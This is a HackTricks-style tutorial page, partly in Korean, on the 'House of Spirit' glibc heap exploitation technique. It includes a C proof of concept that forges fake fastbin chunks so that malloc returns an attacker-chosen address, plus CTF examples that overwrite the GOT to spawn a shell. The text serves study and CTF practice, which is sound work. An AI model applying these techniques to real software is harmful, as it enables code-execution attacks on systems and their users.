House of Spirit

Support HackTricks

Basic Information

Code

House of Spirit

```c #include #include #include #include

// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit

struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };

int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;

ptr = malloc(0x30);

printf("Original alloc address: %p\n", ptr); printf("Main fake chunk:%p\n", &fake_chunks[0]); printf("Second fake chunk for size: %p\n", &fake_chunks[1]);

// Passes size check of "free(): invalid size" fake_chunks[0].size = sizeof(struct fast_chunk);

// Passes "free(): invalid next size (fast)" fake_chunks[1].size = sizeof(struct fast_chunk);

// Attacker overwrites a pointer that is about to be 'freed' // Point to .fd as it's the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;

free(ptr);

victim = malloc(0x30); printf("Victim: %p\n", victim);

return 0; }

</details>

### 목표

* tcache / fast bin에 주소를 추가하여 나중에 할당할 수 있도록 함

### 요구 사항

* 이 공격은 공격자가 올바른 크기 값을 나타내는 몇 개의 가짜 fast 청크를 만들고, 첫 번째 가짜 청크를 해제하여 해당 청크가 bin에 들어가도록 해야 함

### 공격

* 보안 검사를 우회하는 가짜 청크 생성: 기본적으로 올바른 위치에 올바른 크기를 나타내는 2개의 가짜 청크가 필요함
* 첫 번째 가짜 청크를 해제하여 빠른 또는 tcache bin에 들어가도록 하고, 그 주소를 덮어쓰도록 할당함

**[guyinatuxedo](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html)**의 코드는 이 공격을 이해하는 데 좋음. 코드에서 이 스키마는 이를 잘 요약함:
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64

+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size      | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content   | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size      | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content   | 0x00 |
+-------+---------------------+------+

for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/

두 번째 청크를 생성하여 일부 상태 확인을 우회해야 합니다.

예시

  • Libc infoleak: 오버플로우를 통해 CTF의 read 동작을 통해 libc 주소를 노출시킬 수 있습니다.

  • House of Spirit: "소총" 수를 세는 카운터를 남용하여 첫 번째 가짜 청크의 가짜 크기를 생성할 수 있고, "메시지"를 남용하여 두 번째 청크의 크기를 가짜로 만들 수 있습니다. 마지막으로 오버플로우를 남용하여 해제될 포인터를 변경하여 첫 번째 가짜 청크를 해제합니다. 그런 다음 할당하고 그 안에 "메시지"가 저장된 주소가 있습니다. 그런 다음 이를 scanf 진입점을 가리키도록 만들어 GOT 테이블 내부를 덮어쓸 수 있습니다. 다음에 scanf가 호출될 때 입력 "/bin/sh"를 보내고 셸을 획들할 수 있습니다.

  • Glibc leak: 초기화되지 않은 스택 버퍼.

  • House of Spirit: 힙 포인터의 전역 배열의 첫 번째 인덱스를 수정할 수 있습니다. 단일 바이트 수정으로 유효한 청크 내부의 가짜 청크에서 free를 사용하여 다시 할당한 후에 겹치는 청크 상황을 얻을 수 있습니다. 이를 통해 간단한 Tcache 독성 공격을 사용하여 임의 쓰기 원시를 얻을 수 있습니다.

참고 자료

Last updated